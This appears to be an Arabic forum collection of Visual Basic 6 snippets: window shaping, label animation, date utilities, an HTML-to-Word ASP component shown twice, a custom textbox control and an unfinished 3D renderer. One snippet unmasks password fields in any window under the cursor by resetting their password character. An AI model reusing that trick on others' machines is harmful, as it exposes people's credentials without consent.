Private Declare Function CreateRoundRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long Private Function fMakeATranspArea(AreaType As String, pCordinate() As Long) As Boolean Const RGN_DIFF = 4 Dim lOriginalForm As Long Dim ltheHole As Long Dim lNewForm As Long Dim lFwidth As Single Dim lFHeight As Single Dim lborder_width As Single Dim ltitle_height As Single On Error GoTo Trap lFwidth = ScaleX(Width, vbTwips, vbPixels) lFHeight = ScaleY(Height, vbTwips, vbPixels) lOriginalForm = CreateRectRgn(0, 0, lFwidth, lFHeight) lborder_width = (lFHeight - ScaleWidth) / 2 ltitle_height = lFHeight - lborder_width - ScaleHeight Select Case AreaType Case "Elliptic" ltheHole = CreateEllipticRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4)) Case "RectAngle" ltheHole = CreateRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4)) Case "RoundRect" ltheHole = CreateRoundRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4), pCordinate(5), pCordinate(6)) Case "Circle" ltheHole = CreateRoundRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4), pCordinate(3), pCordinate(4)) Case Else MsgBox "Unknown Shape!!" Exit Function End Select lNewForm = CreateRectRgn(0, 0, 0, 0) CombineRgn lNewForm, lOriginalForm, ltheHole, RGN_DIFF SetWindowRgn hWnd, lNewForm, True Me.******* fMakeATranspArea = True Exit Function Trap: MsgBox "error Occurred. Error # " & Err.Number & ", " & Err.Description End Function Private Sub Form_Load() Dim lParam(1 To 6) As Long lParam(1) = 100 lParam(2) = 208 lParam(3) = 50 lParam(4) = 50 lParam(5) = 666 lParam(6) = 555 'Call fMakeATranspArea("RoundRect", lParam()) 'Call fMakeATranspArea("RectAngle", lParam()) 'Call fMakeATranspArea("Circle", lParam()) Call fMakeATranspArea("Elliptic", lParam()) End Sub
تحريك Label بشكل طولي
كود:
Private Sub Form_Load() Timer1.Interval = 100 End Sub Private Sub Timer1_Timer() Label1.Move 2000, Label1.Top - 100 If Label1.Top < 0 Then Label1.Top = Form1.Height End If End Sub
كود:
Private Sub Form_Load() Timer1.Interval = 100 Timer2.Interval = 100 Label1 = "Welcome" Label2 = "Good Bey" End Sub Private Sub Timer1_Timer() Label1.ForeColor = QBColor(Rnd * 15) Label1.Left = Label1.Left + 10 End Sub Private Sub Timer2_Timer() Label2.ForeColor = QBColor(Rnd * 10) Label2.Left = Label2.Left - 10 End Sub
كود:
Public Sub ThreeDForm(frmForm As Form) Const cPi = 3.1415926 Dim intLineWidth As Integer intLineWidth = 5 Dim intSaveScaleMode As Integer intSaveScaleMode = frmForm.ScaleMode frmForm.ScaleMode = 3 Dim intScaleWidth As Integer Dim intScaleHeight As Integer intScaleWidth = frmForm.ScaleWidth intScaleHeight = frmForm.ScaleHeight frmForm.Cls frmForm.Line (0, intScaleHeight)-(intLineWidth, 0), &HFFFFFF, BF frmForm.Line (0, intLineWidth)-(intScaleWidth, 0), &HFFFFFF, BF frmForm.Line (intScaleWidth, 0)-(intScaleWidth - intLineWidth, _ intScaleHeight), &H808080, BF frmForm.Line (intScaleWidth, intScaleHeight - intLineWidth)-(0, _ intScaleHeight), &H808080, BF Dim intCircleWidth As Integer intCircleWidth = Sqr(intLineWidth * intLineWidth + intLineWidth _ * intLineWidth) frmForm.FillStyle = 0 frmForm.FillColor = QBColor(15) frmForm.Circle (intLineWidth, intScaleHeight - intLineWidth), _ intCircleWidth, _ QBColor(15), -3.1415926, -3.90953745777778 frmForm.Circle (intScaleWidth - intLineWidth, intLineWidth), _ intCircleWidth, _ QBColor(15), -0.78539815, -1.5707963 frmForm.Line (0, intScaleHeight)-(0, 0), 0 frmForm.Line (0, 0)-(intScaleWidth - 1, 0), 0 frmForm.Line (intScaleWidth - 1, 0)-(intScaleWidth - 1, _ intScaleHeight - 1), 0 frmForm.Line (0, intScaleHeight - 1)-(intScaleWidth - 1, _ intScaleHeight - 1), 0 frmForm.ScaleMode = intSaveScaleMode End Sub Private Sub Form_Resize() ThreeDForm Me End Sub
معرفة اليوم الحالي
كود:
Private Sub Command1_Click() Dim Dday As Integer Dday = Weekday(Date) If Dday = 1 Then Print "الأحد" If Dday = 2 Then Print "الاثنين" If Dday = 3 Then Print "الثلاثاء" If Dday = 4 Then Print "الأربعاء" If Dday = 5 Then Print "الخميس" If Dday = 6 Then Print "الجمعة" If Dday = 7 Then Print "السبت" End Sub
كود:
Private Sub Command1_Click() Mmonth = Mid(Date, 4, 2) Print MonthName(Mmonth) End Sub
كود:
Private Sub Command1_Click()
On Error GoTo 1
Dim Form1Date As Date
Dim Form2Date As Date
Form1Date = Text1.Text
Form2Date = Text2.Text
Text3.Text = DateDiff("d", Text1.Text, Text2.Text) & " يوم"
Exit Sub
1 MsgBox ("من فضلك أدخل التاريخ بشكل صحيح")
End Sub
ترجمة النجوم *** في كلمات السر إلى حروف عادية
كود:
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Type POINTAPI x As Long y As Long End Type Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() Timer1.Interval = 10 End Sub Private Sub Timer1_Timer() Const EM_SETPASSWORDCHAR = &HCC Dim coord As POINTAPI s = GetCursorPos(coord) x = coord.x y = coord.y h = WindowFromPoint(x, y) Dim NewChar As Integer NewChar = CLng(0) retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0) End Sub
تحويل من HTM إلى Word
كود:
Private ASP As ASPTypeLibrary.ScriptingContext
Private Response As ASPTypeLibrary.Response
Private Session As ASPTypeLibrary.Session
Private Server As ASPTypeLibrary.Server
Private WithEvents IE As SHDocVw.InternetExplorer
Private Word As Word.Document
Private Stream As ADODB.Stream
Private mblnDone
Public Sub OnStartPage(ByRef ASPLink As ASPTypeLibrary.ScriptingContext)
Set ASP = ASPLink
Set Response = ASPLink.Response
Set Session = ASPLink.Session
Set Server = ASPLink.Server
Set IE = New SHDocVw.InternetExplorer
Set Word = New Word.Document
Set Stream = New ADODB.Stream
Response.Clear
End Sub
Private Sub Cleanup()
Set IE = Nothing
Set Word = Nothing
Set Response = Nothing
Set Session = Nothing
Set Server = Nothing
Set ASP = Nothing
Set Stream = Nothing
End Sub
Public Sub Download(ByRef pstrURL As Variant)
Dim lstrPath As String
Dim lstrFileName As String
Dim ldblStart As Double
mblnDone = False
ldblStart = Timer
Call IE.Navigate2(pstrURL)
While IE.Busy And Not mblnDone
DoEvents
If (Timer - ldblStart) > Server.ScriptTimeout Then
Call Cleanup
Err.Raise vbObjectError + 1, "HTML2Word.dll", "Connect Timeout - Busy"
End If
Wend
While Not (IE.Document.ReadyState = "complete" Or mblnDone)
DoEvents
If (Timer - ldblStart) > Server.ScriptTimeout Then
Call Cleanup
Err.Raise vbObjectError + 2, "HTML2Word.dll", "Connect Timeout - Not Complete"
End If
Wend
Call IE.Document.Body.createTextRange.execCommand("Copy")
DoEvents
lstrFileName = Session.SessionID & ".doc"
lstrPath = App.Path & "\~" & Hex(Timer) & "_" & lstrFileName
DoEvents
On Error Resume Next
Word.Content.Paste
If Err Then
Call Cleanup
Dim lstrMsg
lstrMsg = Err.Description
On Error Goto 0
Err.Raise vbObjectError + 3, "HTML2Word.dll", "Can Not paste - " & lstrMsg
End If
On Error Goto 0
Word.SaveAs lstrPath
Word.Close
Response.ContentType = "application/octet-stream"
Response.AddHeader "content-disposition", "attatchment; filename=" & lstrFileName
Stream.Open
Stream.LoadFromFile lstrPath
Response.BinaryWrite Stream.ReadText
Stream.Close
Response.Flush
Response.End
FileSystem.Kill lstrPath
End Sub
Public Sub OnEndPage()
Call Cleanup
End Sub
Private Sub IE_StatusTextChange(ByVal Text As String)
If Text = "Done" Then mblnDone = True
DoEvents
End Sub
Private ASP As ASPTypeLibrary.ScriptingContext
Private Response As ASPTypeLibrary.Response
Private Session As ASPTypeLibrary.Session
Private Server As ASPTypeLibrary.Server
Private WithEvents IE As SHDocVw.InternetExplorer
Private Word As Word.Document
Private Stream As ADODB.Stream
Private mblnDone
Public Sub OnStartPage(ByRef ASPLink As ASPTypeLibrary.ScriptingContext)
Set ASP = ASPLink
Set Response = ASPLink.Response
Set Session = ASPLink.Session
Set Server = ASPLink.Server
Set IE = New SHDocVw.InternetExplorer
Set Word = New Word.Document
Set Stream = New ADODB.Stream
Response.Clear
End Sub
Private Sub Cleanup()
Set IE = Nothing
Set Word = Nothing
Set Response = Nothing
Set Session = Nothing
Set Server = Nothing
Set ASP = Nothing
Set Stream = Nothing
End Sub
Public Sub Download(ByRef pstrURL As Variant)
Dim lstrPath As String
Dim lstrFileName As String
Dim ldblStart As Double
mblnDone = False
ldblStart = Timer
Call IE.Navigate2(pstrURL)
While IE.Busy And Not mblnDone
DoEvents
If (Timer - ldblStart) > Server.ScriptTimeout Then
Call Cleanup
Err.Raise vbObjectError + 1, "HTML2Word.dll", "Connect Timeout - Busy"
End If
Wend
While Not (IE.Document.ReadyState = "complete" Or mblnDone)
DoEvents
If (Timer - ldblStart) > Server.ScriptTimeout Then
Call Cleanup
Err.Raise vbObjectError + 2, "HTML2Word.dll", "Connect Timeout - Not Complete"
End If
Wend
Call IE.Document.Body.createTextRange.execCommand("Copy")
DoEvents
lstrFileName = Session.SessionID & ".doc"
lstrPath = App.Path & "\~" & Hex(Timer) & "_" & lstrFileName
DoEvents
On Error Resume Next
Word.Content.Paste
If Err Then
Call Cleanup
Dim lstrMsg
lstrMsg = Err.Description
On Error Goto 0
Err.Raise vbObjectError + 3, "HTML2Word.dll", "Can Not paste - " & lstrMsg
End If
On Error Goto 0
Word.SaveAs lstrPath
Word.Close
Response.ContentType = "application/octet-stream"
Response.AddHeader "content-disposition", "attatchment; filename=" & lstrFileName
Stream.Open
Stream.LoadFromFile lstrPath
Response.BinaryWrite Stream.ReadText
Stream.Close
Response.Flush
Response.End
FileSystem.Kill lstrPath
End Sub
Public Sub OnEndPage()
Call Cleanup
End Sub
Private Sub IE_StatusTextChange(ByVal Text As String)
If Text = "Done" Then mblnDone = True
DoEvents
End Sub
كود:
Option Explicit Public dragNode As Node, hilitNode As Node Private Sub Form_Load() 'the following code lines will populate the TreeView control TreeView1.Nodes.Add , , "First", "First" TreeView1.Nodes.Add , , "Second", "Second" TreeView1.Nodes.Add "First", tvwChild, "Child", "Child" TreeView1.Nodes.Add "Child", tvwChild, "Child2", "Child2" End Sub Private Sub TreeView1_MouseDown(Button As Integer, Shift As Integer, _ x As Single, y As Single) Set dragNode = TreeView1.HitTest(x, y) End Sub Private Sub TreeView1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single) If Not dragNode Is Nothing Then MsgBox (dragNode.Text) End Sub Private Sub TreeView1_OLEStartDrag(Data As MSComctlLib.DataObject, _ AllowedEffects As Long) 'If you want to allow parent node dragging, delete the line below If dragNode.Parent Is Nothing Then Set dragNode = Nothing End Sub Private Sub TreeView1_OLEDragOver(Data As MSComctlLib.DataObject, _ Effect As Long, Button As Integer, Shift As Integer, _ x As Single, y As Single, State As Integer) If Not dragNode Is Nothing Then TreeView1.DropHighlight = TreeView1.HitTest(x, y) End If End Sub
كود:
Option Explicit
Public Enum states
Normal = 0
Disable = 1
ReadOnly = 2
End Enum
Const m_def_BorderColor = &HB99D7F
Const m_def_BorderColorOver = &HF0D0B0
Const m_def_DataFields = ""
Dim m_BorderColor As OLE_COLOR
Dim m_BorderColorOver As OLE_COLOR
Dim m_DataFields As String
Event Change()
Event Click()
Event DblClick()
Event KeyPress(KeyAscii As Integer)
Event MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 'MappingInfo=MyTxt,MyTxt,-1,MouseMove
Sub RePos()
On Error Resume Next
With UserControl
MyTxt.Width = .Width - 120
MyTxt.Height = .Height - 120
MyTxt.Left = 60
MyTxt.Top = 60
End With
End Sub
Private Sub MyTxt_GotFocus()
SetMyFocus m_BorderColorOver
End Sub
Private Sub UserControl_AccessKeyPress(KeyAscii As Integer)
MyTxt.SetFocus
End Sub
Private Sub UserControl_ExitFocus()
SetMyFocus m_BorderColor
End Sub
Private Sub UserControl_Resize()
RePos
MyXPtxt MyTxt, vbWhite, Normal
End Sub
Private Function MyXPtxt(Txt As TextBox, BackColor As ColorConstants, State As states)
UserControl.Cls
UserControl.BackColor = BackColor
UserControl.ScaleMode = 1
Txt.Appearance = 0
Txt.BorderStyle = 0
UserControl.AutoRedraw = True
UserControl.DrawWidth = 1
UserControl.Line (0, 0)-(UserControl.Width, 0), m_BorderColor
UserControl.Line (0, 0)-(0, UserControl.Height), m_BorderColor
UserControl.Line (UserControl.Width - 15, 0)-(UserControl.Width - 15, UserControl.Height), m_BorderColor
UserControl.Line (0, UserControl.Height - 15)-(UserControl.Width, UserControl.Height - 15), m_BorderColor
If State = Normal Then
Txt.BackColor = vbWhite
Txt.Enabled = True
Txt.Locked = False
ElseIf State = Disable Then
Txt.Enabled = False
Txt.BackColor = RGB(235, 235, 228)
Txt.ForeColor = RGB(161, 161, 146)
ElseIf State = ReadOnly Then
Txt.Enabled = True
Txt.Locked = True
End If
End Function
Public Property Get Alignment() As Integer
Alignment = MyTxt.Alignment
End Property
Public Property Let Alignment(ByVal New_Alignment As Integer)
If New_Alignment > 2 Then New_Alignment = 0
MyTxt.Alignment() = New_Alignment
PropertyChanged "Alignment"
End Property
Private Sub MyTxt_Change()
RaiseEvent Change
End Sub
Private Sub MyTxt_Click()
RaiseEvent Click
End Sub
Private Sub MyTxt_DblClick()
RaiseEvent DblClick
End Sub
Public Property Get Enabled() As Boolean
Enabled = MyTxt.Enabled
End Property
Public Property Let Enabled(ByVal New_Enabled As Boolean)
MyTxt.Enabled() = New_Enabled
PropertyChanged "Enabled"
If New_Enabled Then
SetMyFocus RGB(127, 157, 185)
Else
SetMyFocus RGB(191, 167, 128)
End If
End Property
Public Property Get Font() As Font
Set Font = MyTxt.Font
End Property
Public Property Set Font(ByVal New_Font As Font)
Set MyTxt.Font = New_Font
PropertyChanged "Font"
End Property
Public Property Get ForeColor() As OLE_COLOR
ForeColor = MyTxt.ForeColor
End Property
Public Property Let ForeColor(ByVal New_ForeColor As OLE_COLOR)
MyTxt.ForeColor() = New_ForeColor
PropertyChanged "ForeColor"
End Property
Private Sub MyTxt_KeyPress(KeyAscii As Integer)
RaiseEvent KeyPress(KeyAscii)
End Sub
Public Property Get Locked() As Boolean
Locked = MyTxt.Locked
End Property
Public Property Let Locked(ByVal New_Locked As Boolean)
MyTxt.Locked() = New_Locked
PropertyChanged "Locked"
End Property
Public Property Get MaxLength() As Long
MaxLength = MyTxt.MaxLength
End Property
Public Property Let MaxLength(ByVal New_MaxLength As Long)
MyTxt.MaxLength() = New_MaxLength
PropertyChanged "MaxLength"
End Property
Private Sub MyTxt_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
RaiseEvent MouseMove(Button, Shift, X, Y)
End Sub
Public Property Get PasswordChar() As String
PasswordChar = MyTxt.PasswordChar
End Property
Public Property Let PasswordChar(ByVal New_PasswordChar As String)
MyTxt.PasswordChar() = New_PasswordChar
PropertyChanged "PasswordChar"
End Property
Public Property Get SelStart() As Long
SelStart = MyTxt.SelStart
End Property
Public Property Let SelStart(ByVal New_SelStart As Long)
MyTxt.SelStart() = New_SelStart
PropertyChanged "SelStart"
End Property
Public Property Get SelText() As String
SelText = MyTxt.SelText
End Property
Public Property Let SelText(ByVal New_SelText As String)
MyTxt.SelText() = New_SelText
PropertyChanged "SelText"
End Property
Public Property Get SelLength() As Long
SelLength = MyTxt.SelLength
End Property
Public Property Let SelLength(ByVal New_SelLength As Long)
MyTxt.SelLength() = New_SelLength
PropertyChanged "SelLength"
End Property
Public Property Get Text() As String
Text = MyTxt.Text
End Property
Public Property Let Text(ByVal New_Text As String)
MyTxt.Text() = New_Text
PropertyChanged "Text"
End Property
Public Property Get ToolTipText() As String
ToolTipText = MyTxt.ToolTipText
End Property
Public Property Let ToolTipText(ByVal New_ToolTipText As String)
MyTxt.ToolTipText() = New_ToolTipText
PropertyChanged "ToolTipText"
End Property
Private Sub UserControl_InitProperties()
m_DataFields = m_def_DataFields
MyTxt.Text = "Text" & Mid(Ambient.DisplayName, 11)
UserControl.Height = 330
MyTxt.FontName = "Verdana"
UserControl_Resize
m_BorderColor = m_def_BorderColor
m_BorderColorOver = m_def_BorderColorOver
End Sub
'Load property values from storage
Private Sub UserControl_ReadProperties(PropBag As PropertyBag)
MyTxt.Alignment = PropBag.ReadProperty("Alignment", 0)
MyTxt.BackColor = PropBag.ReadProperty("BackColor", &H80000005)
MyTxt.Enabled = PropBag.ReadProperty("Enabled", True)
Set MyTxt.Font = PropBag.ReadProperty("Font", Ambient.Font)
MyTxt.ForeColor = PropBag.ReadProperty("ForeColor", &H80000008)
MyTxt.Locked = PropBag.ReadProperty("Locked", False)
MyTxt.MaxLength = PropBag.ReadProperty("MaxLength", 0)
MyTxt.PasswordChar = PropBag.ReadProperty("PasswordChar", "")
MyTxt.SelStart = PropBag.ReadProperty("SelStart", 0)
MyTxt.SelText = PropBag.ReadProperty("SelText", "")
MyTxt.SelLength = PropBag.ReadProperty("SelLength", 0)
MyTxt.Text = PropBag.ReadProperty("Text", "Text1")
MyTxt.ToolTipText = PropBag.ReadProperty("ToolTipText", "")
m_BorderColor = PropBag.ReadProperty("BorderColor", m_def_BorderColor)
m_BorderColorOver = PropBag.ReadProperty("BorderColorOver", m_def_BorderColorOver)
End Sub
Private Sub UserControl_WriteProperties(PropBag As PropertyBag)
Call PropBag.WriteProperty("Alignment", MyTxt.Alignment, 0)
Call PropBag.WriteProperty("BackColor", MyTxt.BackColor, &H80000005)
Call PropBag.WriteProperty("Enabled", MyTxt.Enabled, True)
Call PropBag.WriteProperty("Font", MyTxt.Font, Ambient.Font)
Call PropBag.WriteProperty("ForeColor", MyTxt.ForeColor, &H80000008)
Call PropBag.WriteProperty("Locked", MyTxt.Locked, False)
Call PropBag.WriteProperty("MaxLength", MyTxt.MaxLength, 0)
Call PropBag.WriteProperty("PasswordChar", MyTxt.PasswordChar, "")
Call PropBag.WriteProperty("SelStart", MyTxt.SelStart, 0)
Call PropBag.WriteProperty("SelText", MyTxt.SelText, "")
Call PropBag.WriteProperty("SelLength", MyTxt.SelLength, 0)
Call PropBag.WriteProperty("Text", MyTxt.Text, "Text1")
Call PropBag.WriteProperty("ToolTipText", MyTxt.ToolTipText, "")
Call PropBag.WriteProperty("Value", Val(MyTxt.Text), 0)
Call PropBag.WriteProperty("BorderColor", m_BorderColor, m_def_BorderColor)
Call PropBag.WriteProperty("BorderColorOver", m_BorderColorOver, m_def_BorderColorOver)
End Sub
Private Sub SetMyFocus(LineColor As ColorConstants)
UserControl.AutoRedraw = True
UserControl.DrawWidth = 1
UserControl.Line (0, 0)-(UserControl.Width, 0), LineColor
UserControl.Line (0, 0)-(0, UserControl.Height), LineColor
UserControl.Line (UserControl.Width - 15, 0)-(UserControl.Width - 15, UserControl.Height), LineColor
UserControl.Line (0, UserControl.Height - 15)-(UserControl.Width, UserControl.Height - 15), LineColor
End Sub
Public Property Get Value() As Double
Value = Val(MyTxt.Text)
End Property
Public Property Let Value(ByVal New_Value As Double)
MyTxt.Text() = New_Value
PropertyChanged "Value"
End Property
Public Property Get BorderColor() As OLE_COLOR
BorderColor = m_BorderColor
End Property
Public Property Let BorderColor(ByVal New_BorderColor As OLE_COLOR)
m_BorderColor = New_BorderColor
MyXPtxt MyTxt, vbWhite, Normal
PropertyChanged "BorderColor"
End Property
Public Property Get BorderColorFocus() As OLE_COLOR
BorderColorFocus = m_BorderColorOver
End Property
Public Property Let BorderColorFocus(ByVal New_BorderColorOver As OLE_COLOR)
m_BorderColorOver = New_BorderColorOver
PropertyChanged "BorderColorOver"
End Property
إظهار شاشة خصائص الملف
كود:
Const SEE_MASK_INVOKEIDLIST = &HC Const SEE_MASK_NOCLOSEPROCESS = &H40 Const SEE_MASK_FLAG_NO_UI = &H400 Private Type ****LEXECUTEINFO cbSize As Long fMask As Long hwnd As Long lpVerb As String lpFile As String lpParameters As String lpDirectory As String nShow As Long hInstApp As Long lpIDList As Long lpClass As String hkeyClass As Long dwHotKey As Long hIcon As Long hProcess As Long End Type Private Declare Function ****lExecuteEx Lib "****l32.dll" Alias "****lExecuteEx" (SEI As ****LEXECUTEINFO) As Long Sub ShowProps(FileName As String, OwnerhWnd As Long) Dim SEI As ****LEXECUTEINFO Dim r As Long With SEI 'Set the structure's size .cbSize = Len(SEI) 'Seet the mask .fMask = SEE_MASK_NOCLOSEPROCESS Or _ SEE_MASK_INVOKEIDLIST Or SEE_MASK_FLAG_NO_UI 'Set the owner window .hwnd = OwnerhWnd 'Show the properties .lpVerb = "properties" 'Set the filename .lpFile = FileName .lpParameters = vbNullChar .lpDirectory = vbNullChar .nShow = 0 .hInstApp = 0 .lpIDList = 0 End With r = ****lExecuteEX(SEI) End Sub Private Sub Form_Load() ShowProps "c:\config.sys", Me.hwnd End Sub
أشكال ثلاثية الأبعاد متحركة
كود:
Option Explicit Const PI = 3.141593 Const PS_SOLID = 0 Dim HALF_SCREEN_WIDTH As Long Dim HALF_SCREEN_HEIGHT As Long Dim HPC As Long Dim VPC As Long Dim ASPECT_COMP As Long Private obj3dObject As Object3D Private Render As PictureBox Private Declare Function PolyDraw Lib "gdi32" (ByVal hdc As Long, lppt As POINTAPI, lpbTypes As Byte, ByVal cCount As Long) As Long Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long Private Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Declare Function Polygon Lib "gdi32" (ByVal hdc As Long, lpPoint As POINTAPI, ByVal nCount As Long) As Long Private Type Triplet First As Long Second As Long Third As Long End Type Private Type Point3d X As Double Y As Double Z As Double End Type Private Type Point2d X As Double Y As Double End Type Private Type Object3D Name As String Version As String NumVertices As Long NumTriangles As Long Xangle As Long Yangle As Long Zangle As Long ScaleFactor As Double CenterofWorld As Point3d LocalCoord() As Point3d RotatedLocalCoord() As Point3d WorldCoord() As Point3d CameraCoord() As Point3d Triangle() As Triplet ScreenCoord() As Point2d Isvisible() As Boolean Color() As Long End Type Private Type Face Y As Double X As Double End Type Private Type POINTAPI X As Long Y As Long End Type Private Sub CalculateNormals() Dim lngIncr As Long Dim ObjectFace(0 To 2) As Face For lngIncr = 0 To obj3dObject.NumTriangles - 1 ObjectFace(0).X = obj3dObject.ScreenCoord(obj3dObject.Triangle(lngIncr).First).X ObjectFace(0).Y = obj3dObject.ScreenCoord(obj3dObject.Triangle(lngIncr).First).Y ObjectFace(1).X = obj3dObject.ScreenCoord(obj3dObject.Triangle(lngIncr).Second).X ObjectFace(1).Y = obj3dObject.ScreenCoord(obj3dObject.Triangle(lngIncr).Second).Y ObjectFace(2).X = obj3dObject.ScreenCoord(obj3dObject.Triangle(lngIncr).Third).X ObjectFace(2).Y = obj3dObject.ScreenCoord(obj3dObject.Triangle(lngIncr).Third).Y If ((ObjectFace(0).Y - ObjectFace(2).Y) * (ObjectFace(1).X - ObjectFace(0).X)) - _ ((ObjectFace(0).X - ObjectFace(2).X) * (ObjectFace(1).Y - ObjectFace(0).Y)) > 0 Then obj3dObject.Isvisible(lngIncr) = True Else obj3dObject.Isvisible(lngIncr) = False End If Next End Sub Public Sub SetRotations(Optional X As Double, Optional Y As Double, Optional Z As Double) If Not (IsMissing(X)) Then obj3dObject.Xangle = X End If If Not (IsMissing(Y)) Then obj3dObject.Yangle = Y End If If Not (IsMissing(Z)) Then obj3dObject.Zangle = Z End If End Sub Public Sub SetTranslations(Optional XPos As Variant, Optional YPos As Variant, Optional ZPos As Variant) If Not (IsMissing(XPos)) Then obj3dObject.CenterofWorld.X = XPos End If If Not (IsMissing(YPos)) Then obj3dObject.CenterofWorld.Y = YPos End If If Not (IsMissing(ZPos)) Then obj3dObject.CenterofWorld.Z = ZPos End If End Sub Public Sub LoadObject(strFileName As String, DeviceContext As PictureBox, lngCenterofWorldX As Double, lngCenterofWorldY As Double, lngCenterofWorldZ As Double, dblScaleFactor As Double, lngSetXRotation As Long, lngSetYRotation As Long, lngSetZRotation As Long) Dim strTemp As String Dim lngNumTemp As Long Dim lngNumVertices As Long Dim lngNumTriangles As Long Set Render = DeviceContext HALF_SCREEN_HEIGHT = Render.ScaleHeight / 2 HALF_SCREEN_WIDTH = Render.ScaleWidth / 2 ASPECT_COMP = (Render.ScaleHeight) / ((Render.ScaleWidth * 3) / 4) HPC = HALF_SCREEN_WIDTH / (Tan((60 / 2) * (PI / 180))) VPC = HALF_SCREEN_HEIGHT / (Tan((60 / 2) * (PI / 180))) obj3dObject.CenterofWorld.X = lngCenterofWorldX obj3dObject.CenterofWorld.Y = lngCenterofWorldY obj3dObject.CenterofWorld.Z = lngCenterofWorldZ obj3dObject.ScaleFactor = dblScaleFactor obj3dObject.Xangle = lngSetXRotation obj3dObject.Yangle = lngSetYRotation obj3dObject.Zangle = lngSetZRotation Open strFileName For Input As 1 Line Input #1, strTemp If strTemp <> "3D OBJECT DEFINITION FILE" Then MsgBox "Not a valid object file!", vbOKOnly + vbCritical, "Open" Exit Sub End If Line Input #1, strTemp obj3dObject.Version = Trim(strTemp) Line Input #1, strTemp obj3dObject.Name = Trim(strTemp) Line Input #1, strTemp Line Input #1, strTemp Do While strTemp <> "" lngNumVertices = lngNumVertices + 1 ReDim Preserve obj3dObject.LocalCoord(0 To lngNumVertices - 1) obj3dObject.LocalCoord(lngNumVertices - 1).X = CDbl(Left(strTemp, InStr(1, strTemp, ",", vbTextCompare) - 1)) lngNumTemp = InStr(1, strTemp, ",", vbTextCompare) obj3dObject.LocalCoord(lngNumVertices - 1).Y = CDbl(Mid(strTemp, lngNumTemp + 1, InStr(lngNumTemp + 1, strTemp, ",", vbTextCompare) - lngNumTemp - 1)) lngNumTemp = InStr(lngNumTemp + 1, strTemp, ",", vbTextCompare) obj3dObject.LocalCoord(lngNumVertices - 1).Z = CDbl(Right(strTemp, Len(strTemp) - lngNumTemp)) Line Input #1, strTemp Loop obj3dObject.NumVertices = lngNumVertices Line Input #1, strTemp Do While strTemp <> "END" lngNumTriangles = lngNumTriangles + 1 ReDim Preserve obj3dObject.Triangle(0 To lngNumTriangles - 1) ReDim Preserve obj3dObject.Color(0 To lngNumTriangles - 1) obj3dObject.Triangle(lngNumTriangles - 1).First = CDbl(Left(strTemp, InStr(1, strTemp, ",", vbTextCompare) - 1)) lngNumTemp = InStr(1, strTemp, ",", vbTextCompare) obj3dObject.Triangle(lngNumTriangles - 1).Second = CDbl(Mid(strTemp, lngNumTemp + 1, InStr(lngNumTemp + 1, strTemp, ",", vbTextCompare) - lngNumTemp - 1)) lngNumTemp = InStr(lngNumTemp + 1, strTemp, ",", vbTextCompare) obj3dObject.Triangle(lngNumTriangles - 1).Third = CDbl(Mid(strTemp, lngNumTemp + 1, InStr(lngNumTemp + 1, strTemp, ",", vbTextCompare) - lngNumTemp - 1)) lngNumTemp = InStr(lngNumTemp + 1, strTemp, ",", vbTextCompare) obj3dObject.Color(lngNumTriangles - 1) = CLng(Right(strTemp, Len(strTemp) - lngNumTemp)) Line Input #1, strTemp Loop obj3dObject.NumTriangles = lngNumTriangles Close #1 ReDim Preserve obj3dObject.RotatedLocalCoord(0 To obj3dObject.NumVertices - 1) ReDim Preserve obj3dObject.WorldCoord(0 To obj3dObject.NumVertices - 1) ReDim Preserve obj3dObject.CameraCoord(0 To obj3dObject.NumVertices - 1) ReDim Preserve obj3dObject.ScreenCoord(0 To obj3dObject.NumVertices - 1) ReDim Preserve obj3dObject.Isvisible(0 To obj3dObject.NumTriangles - 1) End Sub Private Sub LocaltoWorld() Dim lngIncr As Long For lngIncr = 0 To obj3dObject.NumVertices - 1 obj3dObject.WorldCoord(lngIncr).X = obj3dObject.RotatedLocalCoord(lngIncr).X + obj3dObject.CenterofWorld.X obj3dObject.WorldCoord(lngIncr).Y = obj3dObject.RotatedLocalCoord(lngIncr).Y + obj3dObject.CenterofWorld.Y obj3dObject.WorldCoord(lngIncr).Z = obj3dObject.RotatedLocalCoord(lngIncr).Z + obj3dObject.CenterofWorld.Z Next End Sub Private Sub Project3dto2d() Dim lngIncr As Long For lngIncr = 0 To obj3dObject.NumVertices - 1 obj3dObject.ScreenCoord(lngIncr).X = (obj3dObject.WorldCoord(lngIncr).X * HPC / obj3dObject.WorldCoord(lngIncr).Z) + HALF_SCREEN_WIDTH obj3dObject.ScreenCoord(lngIncr).Y = 